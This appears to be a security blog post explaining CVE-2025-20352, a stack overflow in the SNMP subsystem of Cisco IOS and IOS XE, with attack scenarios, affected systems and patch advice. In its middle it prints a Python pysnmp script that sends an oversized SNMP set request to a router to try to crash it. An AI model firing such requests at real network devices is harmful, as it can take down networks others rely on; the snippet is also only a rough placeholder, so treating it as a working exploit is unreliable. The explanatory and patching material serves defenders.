Cisco devices power much of the world's networks—and a new critical vulnerability, CVE-2025-20352, puts those devices at serious risk. In this long read, I’ll explain how this SNMP bug works, who’s vulnerable, and what it means for your Cisco network. I’ll also break down the technical details, show a PoC-style code snip, and point you to the official Cisco resources.

What is CVE-2025-20352?

CVE-2025-20352 is a stack overflow vulnerability in the Simple Network Management Protocol (SNMP) subsystem used in Cisco IOS and Cisco IOS XE software. Stack overflows are notorious: they allow attackers to either *crash* the system (causing a denial of service), or even *inject their own code* to run as root.

Two Levels of Attack

- Low privileges? Any attacker with a read-only SNMP community string (v2c or older) or valid SNMPv3 credentials can crash the device remotely.
- High privileges? Anybody with an SNMPv1/v2c read-only string or SNMPv3 user credentials *and* administrative (priv15) device credentials can load a malicious payload and get root on the device.

Protocol Coverage

All versions of SNMP (v1, v2c, and v3) are impacted.

Technical Breakdown — How the Exploit Works

This bug lives deep in how Cisco IOS / IOS XE processes SNMP packets. Specifically, a crafted SNMP request can overrun a function’s stack buffer—classic *stack overflow*.

Let's see a simplified flow

flowchart TD
    A[Attacker] -->|Crafted SNMP packet| B[Cisco Device SNMP subsystem]
    B -- Stack Overflow --> C[Unexpected Crash]
    B -- Priv15 Credentials --> D[Executes Shellcode as root]

Sample Exploit Code Snippet

Below is an example in Python that sends a malicious SNMP request using pysnmp. (WARNING: For educational purposes ONLY! Do not use against any network you do not own.)

from pysnmp.hlapi import *
import sys

# SNMP target info
target_ip = '10.1.1.1'
community = 'public'  # replace with read-only community string
port = 161

# OID you will smash the buffer with - this value is just a placeholder!
malicious_oid = (1,3,6,1,2,1,1,5)  # sysName OID, replace as needed
malicious_value = 'A' * 660  # Attempting to overflow: adjust size as needed

errorIndication, errorStatus, errorIndex, varBinds = next(
    setCmd(
        SnmpEngine(),
        CommunityData(community, mpModel=1),  # SNMPv2c
        UdpTransportTarget((target_ip, port)),
        ContextData(),
        ObjectType(ObjectIdentity(malicious_oid), malicious_value)
    )
)

if errorIndication:
    print(f"Error: {errorIndication}")
else:
    print("Packet sent (check the device for crash or shellcode execution)")

How it works: This code sets a super long string to a common SNMP OID. The actual exploit may need crafting specific ASN.1 BER encoding to target the vulnerable stack buffer, and shellcode for root access could be included by a more sophisticated attacker.

SNMP Read-Only User

*Attack:* An external or internal attacker with a read-only SNMP community string sends the offending packet.
*Impact:* Router or switch reboots, creating a denial of service. Your network goes down until the device comes back online.

Privileged Insider or Compromised Admin

*Attack:* An attacker with both a valid read SNMP string and device admin credentials could run code (install backdoors, redirect traffic, eavesdrop on communications, etc.), all as root.

Who is Affected?

All Cisco IOS and IOS XE devices running any SNMP version are vulnerable.

- Popular router/switch models in enterprise cores

Devices at ISPs, universities, data centers

If SNMP is enabled (it almost always is for network management) and accessible, you're at risk.

What Can You Do About It?

- Update Cisco software as soon as a patch is available. Find the official advisory here (Cisco).

Original References

- Cisco Security Advisory: CVE-2025-20352 Stack Overflow in SNMP Subsystem
- CVE Database
- Cisco IOS XE Security Portal

Stack overflows in management protocols can collapse whole networks, as all devices reboot.

- If a device is rooted, you have almost zero visibility. Attackers can pivot, listen, or disrupt with ease.

Bottom Line

CVE-2025-20352 is about more than network blips—it's about who controls your backbone. Until patched, use SNMP with extreme caution and always restrict its access. For operators: check your configs, watch the Cisco advisory page, and plan your updates yesterday.

Stay safe out there—and patch fast!

*Written by NetSecSimple for exclusive educational purposes. Always test responsibly and only in lab environments you own.*

Timeline

Published on: 09/24/2025 18:15:36 UTC
Last modified on: 10/28/2025 13:58:42 UTC